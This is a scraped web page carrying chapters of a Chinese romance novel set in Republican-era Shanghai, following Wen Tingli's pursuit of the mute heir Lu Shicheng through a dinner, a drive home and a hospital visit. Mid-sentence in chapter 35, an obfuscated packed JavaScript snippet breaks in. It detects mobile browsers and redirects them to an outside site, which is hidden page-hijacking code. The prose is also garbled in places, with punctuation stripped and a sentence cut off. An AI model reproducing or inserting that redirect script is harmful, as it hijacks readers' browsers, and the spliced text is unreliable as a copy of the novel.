刚到走廊上就听见父亲低弱的咳嗽声空空的伴随着诡异的哨声即便在酷暑里听来也透着一股森森的凉意。 以往每次听见这病气十足的声音闻亭丽都会心头一黯这次却很有底气地腾出一只手从书袋里取出那张成绩单。 这段时日父亲的状况忽好忽坏她的心情也跟着起起伏伏可每当父亲的情况坏到一定程度时又会奇迹般出现好转汤普生大夫对此表示疑惑闻亭丽却很清楚父亲是靠着什么支撑到现在今天拿到成绩单后她脑子里冒出一个念头:父亲得知她考得这样好说不定身体状况会彻底好转。 她兴冲冲踏进病房。 “我回来了!” 刘护士长正指导小护士给闻德生拍背回头望见闻亭丽满脸的笑也跟着笑起来:“什么事这样高兴?” 一个钟头后闻德生的精神大有好转主动吃下了半碗粥又半倚在枕头上跟闻亭丽商量去南京家祭报喜的事。 闻亭丽手里忙着替妹妹剥橘子嘴里却回着父亲的话:“就按您的意思办:周嫂留在上海照看您和我带小桃子坐火车 “小桃子也要去!”小桃子昂起圆脑袋。 闻亭丽轻点小桃子的鼻头:“听说北平的糖葫芦极好吃我们小桃子到了北平打算吃几串呀?” 小桃子张开五根手指数了数觉得不够急忙把另一只手也张开。 闻亭丽咯咯笑闻德生在枕上含笑望着这一切那张枯槁的面庞因为蕴含着柔情和希望竟比平日明亮许多。 汤普生大夫过来查房时似乎有些意外出来对闻亭丽和刘护士长说:“看得出病人情绪非常好假如后头情况持续好转说不定有完全康复的希望。” 因为这句话闻亭丽浑身上下都充满了干劲稍后等父亲睡着她从衣箱里找出一件旗袍到女厕梳洗。 周嫂端着面盆来倒水看闻亭丽在镜子前忙活讶道:“你要出门?不跟我们吃饭啦?” “我去同学家一趟放心八点半之前准能赶回来。” 她在发尾绑上一个红丝 绒蝴蝶结,配上一条浅白色的旗袍,倒也清艳大方。 正对着镜子左看右看,不小心对上镜中周嫂疑惑的目光,忙不迭从水房里逃出来,看看天色不早,索性叫了一辆黄包车,上车之前又在路边买了一篮水果。 到达目的地后,闻亭丽并不急着下车,只探身朝楼前的小径看了看,一眼就看到了陆世澄的车,她忙对车夫说:“师傅,麻烦在这儿停车。” 下车后,她提着花篮小心地环顾一圈,邹校长的家门口很安静,屋前种满了晚香玉和月季花,她一径上了台阶,馥郁的花香伴着晚风迎面吹来,停在门前深吸一口气,抬手揿响了门铃。 *** “相片全在这里了。”朱紫荷把一本旧相册交给陆世澄。 邹哲平对陆世澄指了指其中一张照片:“这是我们三人刚进校时拍的,你母亲那时候刚十五岁,全校学生就属她最调皮,你跟你母亲不只模样像,性情也像。” 朱紫荷露出诧异的笑容,邹哲平欷歔:“别看现在世澄不爱说话,他小时候不但很调皮,还很会哄人呢。” 她想起好友奚悦生前跟她说过的一桩趣事。 有一次奚悦因为什么事生气,赶巧世澄在外头新学了一个小魔术,回屋看出母亲不开心,便奶声奶气指着母亲背后说:“姆妈,你后面是什么?” 奚悦回头看,结果什么都没有,只当儿子在顽皮,谁知一回头,面前就多了一朵花,这孩子一脸真诚地对他母亲说:“妈妈,您像这花一样漂亮。” 才四岁半,就这样会哄人,奚悦过后偶然跟她提起这些趣事,整张脸都似在发光。 回忆到这里,邹哲平心里丝丝牵痛,怕陆世澄听了心里难过,忙转移话题:“紫荷,你算是做了一件大好事,这些相片对世澄来说意义非凡。” 陆世澄沉默望着相册里的母亲。 朱紫荷感慨道:“其实我也很意外我母亲能将这些照片保存得如此完整,她常说邹姨和奚悦阿姨是她这一生最好的朋友,可见这部分回忆对我母亲来说也很珍贵,我只不过是代她把属于陆先生的那一部分珍贵记忆转还给陆先生罢了。” 邹哲平赞许地点点头:“你这孩子,每回说话都能说到人心坎里去。世澄,你听见了吗,你跟紫荷是真正意义上的世交, 前些日子你太忙不便打搅你,今后这一个礼拜我得忙着毕业典礼的事,你代替我好好带紫荷在上海玩一回。还有,她那个选美比赛此刻极需要朋友支持,你若有空不妨去捧捧场。” 朱紫荷搂着邹哲平的脖子撒娇:“您别这样替我张罗,比赛靠的是自身实力,这方面我可不需要朋友帮忙捧场,不过陆先生,下午我看见你在那份女子夜校兴办计划书上提的倡议,感觉很受启发,正巧我在管理美术馆时遇到了一点人事上的麻烦,有几个问题想向你讨教,不知你抽不抽得出时间?” 朱紫荷垂眸等待着,原以为十拿九稳,不料陆世澄想了想,竟作势从上衣兜里取出笔,朱紫荷眼中笑意一凝,假如肯留下来吃饭,只需点点头即可,又何需专门写字说明。这时,大门口突然有人揿铃,邹哲平看看墙上的西洋挂钟,起身去开门:“这个点……会是谁?” 不一会,就听见门外有人说:“邹校长。” 那声音不但又脆又甜,还异常熟悉。 陆世澄立即抬眸朝门口望去。 “闻亭丽?”邹校长的声音充满惊喜,“快请进。” “我是来还东西的。”闻亭丽大方说明自己的来意,“前几天因为忙着做暑期工也没顾得上来找您,除此之外,今天成绩出来了,我也想顺便向您讨教该念哪一门学科,来之前也没递个帖子,还望您别见怪。” 很快,门厅传来轻快的脚步声,闻亭丽在邹校长的带领下进了屋。 进屋看见陆世澄,闻亭丽显然吃了一惊:“陆先生。” 她脸上的惊讶几乎天衣无缝。 “看来我来得不巧,要不我——” “你只管坐,世澄和紫荷都很随便。”邹哲平一指沙发,“我正好奇你考得如何,还有你那个滑稽戏,哎哟想想就好笑,你吃过饭了吗?” 闻亭丽露出赧然的神色:“我——” “看来是没吃。”邹校长不疑有他,“刘姐,再多备一副碗筷。” 闻亭丽于是“顺理成章”加入了这场饭局。陆世澄佯装什么也没看出,一脸平静端起水杯喝了口,这时,朱紫荷在那儿提醒邹姨:“陆先生好像不留下来吃饭。” “世澄?你要走吗?”邹哲平望向陆世澄手边未写完的字。 如陆世澄所料 ,闻亭丽立刻把脑袋转向这边,由于太过专注,她甚至忘了自己正在跟朱紫荷寒暄。 屋子就这样安静下来。 陆世澄煞有介事提笔写了句话。 【今晚我想吃您亲手做的粉蒸排骨,就不知道会不会太麻烦。】 邹哲平大笑:“原来是要跟我点菜。这有什么麻烦的,我马上去厨房张罗。你们几个先聊,菜很快就好。” *** 自打邹校长离开,客厅里三个人都没有开腔。 陆世澄自不必说,就连一贯健谈的闻亭丽也异常文静。 朱紫荷兀自端坐不动,在弄明白对方来意之前,她绝不急着找话。 忽听邹校长在厨房里喊道:“世澄,帮忙到菜园里摘棵葱。” 陆世澄起身打开后门走了出去,返回时,手里多了几棵绿油油的葱。 朱紫荷目瞪口呆看着陆世澄把葱送到厨房,就听邹校长在里头说:“我的空心菜快死了,这段时日太忙,我也顾不上……也好,你到外面帮我摘一摘虫。” 陆世澄离开后不久,又听邹校长在厨房里唤道:“紫荷,酱油没有了,对街有一家酱铺,你去打一瓶回来。” 闻亭丽忙说:“我去吧。” 这样一来,客厅里便只剩朱紫荷一个人了。 朱紫荷望望窗外,又望望厨房,先前跟陆世澄碰面时,他身边总少不了一堆人在场,而现在,陆世澄却是独自待在菜畦边。 想要顺利完成任务,这可是千载难逢的机会。 念头一起,她果断帮陆世澄重新斟了一杯水,果断推开那落地大玻璃门,果断沿着小径朝菜畦走去。< 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朱紫荷一点也不奇怪闻亭丽会过来找他们,只惊讶她为何来得这样快,从邹宅到酱料铺,来回一趟少说也要七-八分钟,闻亭丽这速度简直像是飞过来的。 朱紫荷下意识转头看向身旁的陆世澄,他一眼不眨看着飞奔而来的闻亭丽。 一看见他们的身影,闻亭丽就装作无事放缓了脚步。 “朱小姐,陆先生,这么巧。屋子里有点闷,我出来走走。哇,邹校长种了这么多菜。 她边说边走朝菜园走来,越过陆世澄身边时,身子忽然一晃,慌忙抬手抓去,一不小心就抓住了陆世澄的胳膊。 而且,好巧不巧碰到了陆世澄手里的水杯。 “咣当一声,水杯落到了泥地里,杯子里的水一下子全洒了出来。 由于重心失衡,闻亭丽的身躯仍在往前栽,眼看要摔个狗啃泥,陆世澄伸手扶住她的胳膊,帮她重新站稳。 朱紫荷错愕地望着这一幕。 如果她没看错,闻亭丽出其不意摔倒时,陆世澄脸上没有丝毫惊奇之色。 他似是预料到她会来这一出。 即使身上被泼了水,他也只是一脸泰然。 闻亭丽一副惊魂未定的模样,勉强在陆世澄面前站稳:“谢谢。 低头望见陆世澄身上的水痕,忙又说:“真抱歉,陆先生要是不嫌弃的话,先拿我的手帕擦一擦。 闻亭丽脸上的懊恼是那样真实,仿佛刚才她真是无意,一边说,一边掏出手帕要帮陆世澄擦水,偏在这时,前屋传来邹校长的声音:“孩子们,进屋吃饭。 朱紫荷趁势说:“要不回屋再收拾吧? 然而,陆世澄还是从闻亭丽手里接过帕子擦 起了自己的衣服。 朱紫荷瞥见两个人这一系列的举动,陡然明白过来陆世澄先前的表情意味着什么。 那是一种狩猎者的姿态。 他在等一个人的到来,或者说,在期待某件事的发生。 又或许,陆世澄自己都搞不清自己在等待什么。 但很显然,她并不是他期待见到的那个人,因为在见到她的那一瞬,他身上那种若即若离,却又称得上魅惑人心的磁场,一下子就消失了。 而现在,在闻亭丽面前,他身上那种奇妙的磁场又回来了。 陆世澄随手擦了几下自己身上的水,又把手帕还给闻亭丽。 闻亭丽很自然地仰起头对他说:“要是干透以后还留有痕迹,我就帮陆先生好好洗一洗。” 陆世澄觑着她。 “我是说真的。”闻亭丽忙说,“陆先生别忘了我们家过去就是开洋服店的,我知道怎样洗。” 陆世澄再次睨她一眼,率先向前走,闻亭丽忙跟上去,边走边把帕子再次递出去:“袖子还是湿的,陆先生,再擦擦吧。” 陆世澄于是又接过她的帕子擦起来。 两个人的相处竟是那样自然……… *** 这顿饭,闻亭丽大部分时间都吃得很开心。 邹校长家的氛围十分轻松,玩笑可以随便开,东西可以随便吃,要求也可以随便提,这令她感觉自己不似在长辈家里做客,倒而在某位热情的平辈朋友家中玩耍。 饭后帮邹校长切西瓜时,邹校长旧话重提:“难得紫荷来一趟,这几天你带她四处去玩玩,不限于上海本地。苏州、扬州等地你也带她去走一走,你手边既有人又有车,这方面你会比我安排得更好。” 闻亭丽险些没抱稳手中的西瓜。 几个人齐齐向她看来。 “没事。”闻亭丽打着哈哈笑道,“刚才手有点滑。” 心里却叫苦不迭,她现在已是无计可施,假如陆世澄答应了邹校长这要求,她就再也插不上手了,她总不能整天跟在陆世澄和朱紫荷的后面跑吧。 朱紫荷的表情表明她并不反对这个提议,陆世澄对邹校长的话似乎也不是很抵触。 她一颗心悬在空中,手里漫不经心摸着那圆溜溜的大西 瓜却始终没能切下来一块瓜。 忐忑间就见陆世澄在纸上写了一行字递给邹校长。 【最近我实在抽不开身我请老邝安排几个人陪伴朱小姐老邝熟知几地的风土人情沟通上也毫无问题有他相伴可以保证朱小姐玩得痛快。】 邹校长苦笑着摇了摇头:“也好那就依你的意思办。” 闻亭丽这才暗松一口气。 又坐片刻陆世澄顺理成章告辞。 闻亭丽忙也跟着道别出来。 外面已是一片漆黑街角的路灯不足以照亮脚下的路陆世澄在前面走闻亭丽在后头走。除了花丛里偶尔能听见几声夏虫的鸣声满世界似乎只剩两个人的脚步声。 闻亭丽低头看看前方的影子又抬头愉悦地张望四周的景致 陆世澄突然停下来望着她。 闻亭丽心虚地咳嗽一声冲他甜笑道:“陆先生有话要对我说吗。” 作者有话要说 第 35 章 一起走。 第35章一起走。 陆世澄的目光直白而坦荡,仿佛要穿透她的皮囊,直射进她的心底。 这是他头一次这样长久地打量她,闻亭丽不禁有些无措,很早她就知道人的目光可以隐含不同含义,表达凶狠时,可以让人瞬间矮上几分,表达冷漠时,也可以使人一下子凉透骨髓。 这会儿陆世澄的目光就让人招架不住,倒也不是有多凶,他只是很平和地审视着她,但不知为何让她的脸开始发烫。 最近她像一块狗皮膏药老是黏在他的身后,一两次的“偶遇”可以称作巧合,一连串的巧合又该如何解释,今晚就更过分了,她简直是在明目张胆破坏朱紫荷和他单独相处的机会。 陆世澄再有修养,瞧在眼里难免会心生疑惑。 他会怎样发问?旁敲侧击还是单刀直入? 这样想着,她几乎要使出全身力气才能抵抗那目光。 大约是她的脸色越来越红,对面的压迫感骤然消失了,闻亭丽悄悄抬眼,却见陆世澄把脸转向一旁的杜鹃花丛,再把头转过来时,他恢复了往日那种礼貌而有分寸的态度。 他点点头,自顾自到对街找车。 看样子他要走了。 闻亭丽忙在他身后说:“陆先生再会。” 他一走,闻亭丽不由自主松了口气。万幸这个男人是陆世澄,他骨子里的教养让他最终没有为难她,换作别人,恐怕早已把她逼得下不来台了。 她松快地吁出一口气,继续沿着小路向前走。 身后突然传来“啪啪啪”的奇怪声响。 回头看,却只看见一道黑魆魆的暗影,一种不安的情绪蓦地窜上她的心头,先前陆世澄在时还不觉得,此刻她才发觉四周安静得可怕。 她果断加快脚步,后面那声响也随之大了起来,“啪-啪-啪”紧随在她身后,说不出的诡异。 闻亭丽想起白龙帮的种种手段,心里一慌,埋头狂奔起来。那声音却如影随形,大有碾上来之势,正当闻亭丽惊骇到无以复加时,前方突然出现一辆熟悉的车影,那辆黑色的汽车缓缓开到她身边。 陆世澄竟开着车来找她了。 “陆先生!”闻亭丽激动得如同看见自己的 亲人一溜烟跑到车窗旁边。 大约是她的样子像活见鬼陆世澄忍不住探头朝她身后看去。 闻亭丽乍着胆子回头。 一看就愕住了。 不远处蹲着一只大黑猫黑猫嘴里叼着半只破皮鞋先前那怪声就是刚才这大猫拖行皮鞋时发出来的。 大猫仿佛对闻亭丽突然停下有些不满一双绿圆的猫眼正静幽幽地瞪着她。 这下子闻亭丽更加迈不动步了她一向怕猫何况眼前这猫的身型格外肥大不似野猫像是附近某户人家家养的。 陆世澄推门下车走到大猫面前俯身将它从地上拎起来大猫二话不说给了陆世澄一爪陆世澄却提前将它从自己身前拉开一点距离任凭大猫对着自己胡乱踢踏却始终够不到他分毫大猫气急败坏张开嘴“喵呜喵呜”叫唤起来。 忽听“啪”的一声响大猫口中的破皮鞋掉落在地闻亭丽正是心有余悸不提防望见陆世澄眼里的笑意不由也跟着噗呲一笑:“这大猫真可恶竟这样不怕人。” 趁两人分神大猫从陆世澄手里蹿到地上飞快消失在夜色中。 陆世澄掸掸身上的猫毛转头看着身旁的闻亭丽。 这地方太黑了他指指自己的车。【上车吧我送你回家。】 闻亭丽感激地钻上他的车:“那就麻烦陆先生了。” *** 上车之后闻亭丽时不时用余光瞥瞥身边的陆世澄。 这样长的一段路总不能一直不吭声吧。 “陆先生很喜欢猫?”她主动开腔了。 陆世澄在镜子里看她一眼。 “怕猫的人是不敢像你那样靠近大猫的。”闻亭丽很有把握地说“陆先生拎猫的动作一看就是养过猫的。” 说完这话陆世澄并未马上回应闻亭丽也知道这话听上去倒有点像在打探陆世澄的喜好今晚她在邹校长家里的表现本就奇怪再这样攀谈下去多少有点可疑。可她若是在车上一句话都不说未免又显得太心虚。 正琢磨间却见陆世澄点了点头算是回答了她的问题又指了指方向盘 闻亭丽备受鼓舞:“陆先生过去养过几只猫?我猜你养的 猫一定个个漂亮。 陆世澄摇摇头,闻亭丽疑惑:“不漂亮么? 陆公馆会养不漂亮的猫? 想起陆世澄深夜里在街上拎猫的举动,她惭愧一笑:“我知道了,陆先生养的是流浪猫吧,您收留过几只猫,一只?两只?还是一大群?我记得陆公馆还有好些鸽子,陆先生肯定很喜欢小动物。 就在这时,陆世澄将车停到街边,闻亭丽不明就里,转头就见陆世澄倾身朝自己靠过来。 她心脏猛地一缩,狭窄的空间里,身躯仿佛一下缩小了一半,手脚无处可放,脑子亦不知作何反应,谁知陆世澄只是从前座的机括里抽出一沓报纸递给她。 【你要是觉得闷,可以看看报纸。】 闻亭丽脑子里仍有点乱,居然机械地答他一句:“可是我不觉得闷。 陆世澄刚要坐回去,听闻此话,回眸深深望她一眼。 车厢里的空气仿佛更热了。 闻亭丽一说完那话便懊悔,然而临时想不出别的话来化解,只能定定与他相望。 这样短的距离,她连他的睫毛有多少根都能看清。他的皮肤不似大多数男人那样粗糙,在暗影中很像一种无暇的玉,他的眼睛亦跟他的人一样安静,眸光里隐隐流动着细碎的光辉。 相应地,想必陆世澄也能看清她脸上的每一个细小部位。这一想,闻亭丽有点坐不住了,咬了咬唇,急于找话来化解这局面。 几乎是同时,陆世澄蓦然将视线从她的脸上收回,仍旧坐回了原来的位置。 因有这一出,接下来这一路闻亭丽宛如失去了语言能力,只老老实实翻阅手里的报纸。 起初有些无所适从,后来她的注意力便被报纸上的几桩新闻所吸引。 等她津津有味地把几张报纸看完,车已经开到了麦林路,只要再拐过一个街角,对街就是慈心医院了。 偏在这时,汽车的发动机突然发出几声奇怪的轰鸣,车速陡然慢下来。 陆世澄换了几下档,车速却越来越慢,最后索性一动不动了。 他检视一番,未果,只好下车走到她这边帮她打开车门。 【下车吧,车出故障了。】 闻亭丽先是目瞪口呆,继而发笑:“原来罗尔斯·罗伊斯也会闹 故障。” 其实她笑的不是高级洋车抛锚而是第一次看到陆世澄皱眉。 她忍笑打开车门下车再三向他道谢:“谢谢陆先生送我这一路前面就是慈心医院了我自己走回去即可。” 没走多远就听见身后传来脚步声。 诧异回望就看见陆世澄插着裤兜跟在她后面。 回眸时他正望着她的背影。 “陆先生?” 陆世澄对她做了个打电话的手势他得打电话叫人来修车。 闻亭丽懊恼地一拍脑门忙又跑回他身前:“瞧我全忘了这回事!慈心医院就有电话我跟病房里的护士都很熟的陆先生你跟我来我帮您打电话。” 陆世澄很听话地接受了闻亭丽的建议。 两人相偕过马路。 “陆先生现在几点钟了?”闻亭丽转头问。 陆世澄抬起腕表示意她自己看。 闻亭丽凑过去低头一瞧:“还好才九点多他们病房照例是十点钟熄灯倘若熄灯了还得提前把手电拧开。” 一进病房就看见周嫂带着小桃子在走廊上玩耍。 “怎么这样晚了还未睡?” 周嫂却只是瞠大眼睛看着闻亭丽身边的陆世澄。怔忪间小桃子飞奔过来抱住姐姐的腿又把头探出来好奇地望着陆世澄转头碰上姐姐鼓励的目光这才鼓起勇气打招呼:“陆先生。” 毕竟才三岁一开口就把“陆”叫成了“如”。 陆世澄态度照旧很尊重主动蹲下身跟小桃子握了握手。 小桃子“嗬嗬”朗笑圆肚皮一鼓一鼓的。 周嫂近前把小桃子抱到怀里:“刘护士长说小姐这下子是出名了。晚上来了好几波戏社的人自称来打听你的表演经历此外还有几个报社记者听说你考上了大学专门过来采访。我真奇怪他们消息怎会这样灵通我说你去了同学家他们非要等到九点钟才走。小桃子难得看见这么多客人死活也不肯睡。” 交代完这话周嫂盯牢陆世澄和和气气发问:“这位先生是?” “这是陆小先生。”闻亭丽忙于支开周嫂 又对陆世澄说:“这是周嫂。电话在这边您跟我来。” 周嫂的一双眼睛活像变成了手电筒,亮堂堂地对着陆世澄照来照去,好在陆世澄仿佛并不觉得冒犯,反而很坦然对周嫂点点头。 大约是陆世澄太沉静,也太和气,周嫂突然有点不好意思了:“刚才那些客人送了好些水果,我给这位陆先生拿些西瓜来。 闻亭丽急了:“您怎么能随便收人家的东西,我都不认识这帮人。 “我倒是不想收,可等我追出去,早就一个人影都不见了,其中有两个这么大的西瓜,来时就切好了,今晚不吃完准会馊掉的。 又忙对陆世澄解释说:“陆先生别多心,我绝不是怕西瓜馊才给您拿,我是—— 闻亭丽简直不知说什么好,今晚也不知怎么回事,连周嫂都透着点傻气!她跺了跺脚:“陆先生不会误会的,您带小桃子回去吧。 一转脸,却见陆世澄垂眸掩去眼中的笑影,却不知是在笑她,还是在笑周嫂。 闻亭丽自己撑不住也笑了,笑了一会,她问他:“陆先生想吃西瓜吗?待会打完电话,我给您拿些来解解渴。 陆世澄尚未答言,病房里一下出来了好些人,一个个全在那儿盯着陆世澄瞧,有人甚至问闻亭丽:“小闻,你朋友啊? 闻亭丽讪讪领着陆世澄穿过人群,护士们都很喜欢闻亭丽,她们虽然也对陆世澄充满好奇,却爽快答应借用电话。拨号前,闻亭丽问陆世澄:“是给邝先生打电话吗? 毕竟邝志林的寓所就在离这不远的甘家巷,陆世澄却从衣兜里取出一张名片递给闻亭丽。 那是一个完全陌生的号码,名片上的人叫方达。 闻亭丽拨过去对那边说:“是方先生吗,陆小先生的车坏了,车现在麦林路,陆小先生他在—— 她用目光征询陆世澄,陆世澄对着院门口的方向指了指。 “他会在慈心医院的大门口等你们。你们大约多久到?最多十分钟?好的,我会转告陆小先生。 挂断电话,办公室门口那堆人突然向两侧分开,周嫂端着一个大盘子过来了,里面齐齐整整摆着十几牙红艳艳的西瓜。 周嫂热情地对着陆世澄说:“走廊上蚊子多,陆先生不如进房里等边吃边等。房里有灯有扇子,还点了蚊香。 闻亭丽欲言又止,周嫂一定是误会了她和陆世澄的关系,父亲卧病在床,以陆家人惯有的礼数,看见父亲绝不可能不随礼,可她现在连陆世澄的朋友都算不上,哪有理由让人家破费。 可若是急三火四拖着陆世澄离开,又像她不愿意招待他似的。 她生平头一次感到这样窘,不料陆世澄早已对周嫂点了点头。 病房里,闻德生正鼓着双眼朝外张望,他刚听陪护和周嫂说女儿带回来了一个年轻男人,这会儿恨不得打起十二分的精神来应对。 就见周嫂领着一个俊朗得出奇的后生进来。 “这是陆先生。”闻亭丽硬着头皮为双方介绍,“陆先生,这是我父亲。” 她一瞬不瞬观察着陆世澄的表情,病人的心理是最脆弱敏感的,但凡陆世澄露出一丝异样的神色,都会刺痛父亲的心。 除了担心父亲,她自己也怕在陆世澄脸上读出嫌弃或是厌恶的神情。 这种感觉既陌生,又奇怪——要知道她从来不是个会在乎别人看法的人。 陆世澄确实怔了一下,但他的脸上只有惊讶和同情,却丝毫不见反感,他甚至主动上前跟闻德生握了握手,态度就像对待小桃子一样自然。 闻德生面色一亮,忙拿出生平最斯文的态度跟陆世澄打招呼:“你好,请坐。周嫂,快给陆公子奉茶。” 等到周嫂奉上茶,闻德生便半倚在枕上柔声问:“陆先生还在念书?” “陆先生早就大学毕业了。”闻亭丽抢先答道。 闻德生脸上更添一层错愕和钦佩:“年纪这样轻,学问却这样好,陆先生现在何处谋事?” 闻亭丽近前小声对父亲嗔道:“我跟陆先生又不是很熟,人家只不过顺便进来看看您,您倒好,一见面就问东问西的。” 陆世澄在旁瞟一眼她的侧脸。 “不熟?”闻德生半信半疑,用同样小的声量驳道,“不熟人家进来看我这半死不活的人做什么?爹随便问几句,你急什么。” 闻亭丽不知如何跟父亲解释陆世澄的为人,恰在此时,隔壁病房一位姓罗的太太进来了。 先前她就在人堆里议论最近常有拆白党装作富家子弟来骗漂亮姑娘,话里话外都暗指陆世澄也是一路货色,闻亭丽也懒得理她。 这会儿罗太太大概是不满足于只在门外看热闹,居然大剌剌进来说:“这后生卖相真好,闻先生,您真好福气,有个这样漂亮的女儿,万事都不用愁。不像我,我那两个女儿今后还不知如何呢。对了,来了这么久,怎么也不见这位陆先生说过话?小闻,既是你爹问话,你就让陆先生自己说嘛。 陆世澄本在静静打量床头的药瓶,闻言,忽然向罗太太锐利地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409283|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 射了两眼。罗太太笑容一僵,这一刻她才隐约意识到,这漂亮的年轻人远不像表面上那样随和。 闻亭丽笑吟吟接过罗太太的话头:“原来罗太太也知道是我父亲在问话,您这样抢着答话,不知道的还以为您跟我一样是晚辈呢。 罗太太脸色稍僵,讪讪道:“你这孩子,我也是一片好心—— 这时候走廊上突然来了几个人,衣着异常整洁,态度亦非常和善,在门口欠了欠身:“陆小先生,车在门口候着了。 屋里人面面相觑,陆世澄出去一下,回来时手里多了个信封,将其递给闻亭丽,让她再次代自己向她父亲问好。 随后站在床边对着闻德生欠了欠身,便要带人离开。 闻亭丽一摸信封,心知里面是厚厚的一沓查票,吓得忙追上去:“陆先生,陆先生,这钱我们绝不能收。 陆世澄瞥瞥身旁那位中年男子,这人虽然拿不准闻亭丽和陆世澄的关系,却立即乖巧地笑道:“闻小姐既是陆先生的朋友,该知道陆先生待人一贯真诚,这不过是陆先生的一点小小心意,请闻小姐不必有什么顾虑。 此人想必就是名片上的方达了,精明程度丝毫不逊于邝志林。 说完这话,方达又近前低声说:“假如闻小姐不肯收,我们还得把这钱折算成一堆礼物再送来,这大晚上的实在不好张罗,闻小姐收下就权当帮我们大忙了。 闻亭丽抬头看向陆世澄,他只是低眉望着她,显然方达的意思就是他的意思,她只好为难地收下了,除了怕真像这位方先生所说的那样,也因为话中的“朋友 虽说陆世澄未必承认她是他的朋友,她却是很愿意做陆世澄的朋友的! 正说着,眼前忽一黑,走廊里熄灯了。 “我有手电筒。闻亭丽忙拧开电筒,“我送你们出去。 黑暗中陆世澄走路却不似平日那样快闻亭丽心里直犯嘀咕直到走到台阶上才反应过来他是在照顾她的速度她手里虽有电筒却是极窄的一道光束稍有不慎就会摔跤。 为了确认这一点她有意放慢脚步果不其然她一慢他也跟着缓下来。 闻亭丽心里骤然闪过一丝发烫的感觉 陆世澄在半黑暗里回头他的眼睛是那样好看哪怕在昏暗的地方也有一种明亮生辉之感他专注地望着她。 她心跳有点快低声问他:“礼拜五晚上您有空么?这段时间老是麻烦陆先生真不知怎样回报您才好我有两张欣欣决赛夜的门票想请您前去观赛。” 这可是她第三次邀请陆世澄看她的比赛了。 说着一笑笑容充满自信:“其实还是一场滑稽戏只不过这次的节目里有两段模仿猫的表演您这样喜欢猫到时候一定会觉得很新鲜的。” 陆世澄寂然良久指一指她的书袋闻亭丽默契地把本子拿出来给他。 陆世澄翻开本子却没有马上落笔他的样子明明跟平日一样沉静但表情又跟往常有点不太一样仿佛有点焦躁有点踟蹰。 过了好一阵子他才把本子递还给她。 【抱歉我这几天实在抽不出时间。】 闻亭丽低头对着那行字再一次他再一次直截了当地拒绝了她。 “没关系……”她旋即露出笑容“那就不打搅陆先生了陆先生晚安。” 陆世澄上了车。方达在前座谨慎地发问:“邝先生刚查到三爷的下脚处是即刻回陆公馆吗?” 问完这话陆世澄没回应。 方达讶然回头却见陆世澄懊恼地看着窗外。 “澄少爷?”方达咳嗽一声“邝先生那边已经等了一个多钟头了去邹校长家里一打听才知道澄少爷你早就走了大家到处找不到您都快急死了谁能想到来了慈心医院走吧不能再耽搁了。” 陆世澄如梦初醒努力稳了稳烦乱的心绪稍顷面沉如水示意司机开车。 *** 回到病房里周嫂还在呶呶不休。 “那个罗太太真是的 ——咦,小姐回来了,陆先生不生气吧? “生气?闻亭丽莫名其妙。 “罗太太说的那些酸话呗,她简直吃定了陆先生是拆白党,后来听见大伙说陆先生就是大名鼎鼎的南洋陆家的小公子,那脸色啧啧啧,我都替她难为情。 闻亭丽摆摆手:“谁有空跟她生气。 罗太太是个寡妇,大女儿生了肺炎在住院,小女儿比小桃子大不了多少,自打丈夫死后,一家人的生计全靠罗太太一个人支撑,这样的日子过久了,罗太太难免有些难打交道,但她的为人不算坏。 她不会与罗太太计较,至于陆世澄,自打认识他,就没见他介意过这些小事。 闻德生在床上眼巴巴望着女儿:“你跟这陆先生究竟是怎么回事? “什么事也没有。闻亭丽懒懒地倒到小床上。 “你少拿话敷衍爹,陈伯他们先前都看见了,陆先生从医院外头一路送你回来的,你们两个若是不熟,人家大晚上干嘛专门送你一趟? “天色这样晚,人家好心送我一趟又怎么了? 闻亭丽有点没好气,这话与其是对父亲说,倒不如是对自己说的。 亏她刚才变着法子试探陆世澄,结果只换来他的拒绝,也对,他那样的人若不想惹误会,势必会当面把话说清楚。 或许,今晚的种种都是她的错觉,陆世澄不过是考虑到她的安全才送她一趟,她却因此而自作多情—— 她赌气将被子扯高蒙住自己的脑袋。 她在生自己的气。 父亲又开腔了:“傻孩子,人家要不是动了心思,怎肯专门送你回来,还装作顺路进病房探望你爹,你一贯招人喜欢,有机会一定得好好把握住了。依爹看,这位陆公子可比那个乔杏初要靠谱得多,最起码,为人处事沉稳和气,心思也明透。 不提起乔家还好,一提起乔家闻亭丽就觉得自己的痛觉神经被烫了一下,马上像只青蛙一样从床上跳起来:“我们又没什么的!爹你不要瞎讲好伐,再说乔家的教训还不够吗,别说人家对我没这个意思,即便有,有句话叫‘齐大非偶’,将来总难走到一起,还有,我干吗非得找男人? 她跳下床,骄傲地对着一屋子的礼物和水果指指点点。 “今晚这些人可都是奔着女儿的名头来的,女儿才参加几次比赛,次次都崭露头角,爹,事到如今您还不明白吗,女儿才是自己最大的靠山。 闻德生哭笑不得:“你这孩子吃火药了?爹不过随口一句,竟惹出你这样多的牢骚,爹当然知道你有出息,但世情如此,你总不能一辈子不嫁人吧。 “一辈子不结婚又如何?我已经考上大学了,等我演完黄导演的戏,我就能一口气攒够好几年的学费,等到大学毕业,我还要像邓院长和邹校长那样做出一番伟大的事业呢! 滔滔不绝说了一通,对上一家人错愕的目光,她自己也觉得有点好笑,顺手端起脸盆:“好啦好啦,我累了,先去洗漱。 作者有话要说 第 36 章 (补了注释)阴谋... 第36章(补了注释)阴谋 当晚,闻亭丽等小桃子和周嫂睡着,照例去找刘护士长练习枪法,练了整整一个钟头,整个人都轻松不少,一回来便踏踏实实睡下了。 *** 这日早上,邱大鹏照例来到白龙帮总会议事,进屋就看见曹振元在那儿看报纸。 老帮主手里转动着两枚沉甸甸的银丸,嘴角却抿得紧紧的。 这是他老人家不高兴的表现。 邱大鹏堆起笑容将手里的食盒搁在桌上:“刚从大元楼买回来的定胜糕,您老快尝尝。” “定胜?”曹振元鼻哼一声,“我看这次是定败了。” 他用目光示意邱大鹏自己看报纸,一大早,好几家报纸都报道了欣欣决赛夜一票难求的消息,相比之下,逸菲林这边显得冷清不少。 